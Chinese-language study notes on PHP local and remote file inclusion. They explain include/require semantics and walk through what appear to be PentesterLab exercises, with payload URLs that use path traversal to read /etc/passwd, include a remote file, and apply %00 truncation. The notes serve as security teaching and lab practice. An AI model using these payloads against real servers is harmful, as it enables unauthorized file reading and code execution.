文件包含漏洞:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件的PHP代码,并且当作PHP执行。当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞(远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项)
本地文件包含漏洞:当被包含的文件在服务器本地时,就形成本地文件包含;
远程文件包含漏洞:当被包含的文件在第三方服务器时,叫做远程文件包含;
include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行;
include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次;
require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 ,require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份;
require_once()
它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次;
Example 1
包含本地或远程文件http://192.168.61.166/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt
通过../../../../etc/paaswd 读取敏感信息 http://192.168.61.166/fileincl/example1.php?page=../../../../etc/passwd
Example 2
加单引号发现会在文件后加.php
%00截断 http://192.168.61.166/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00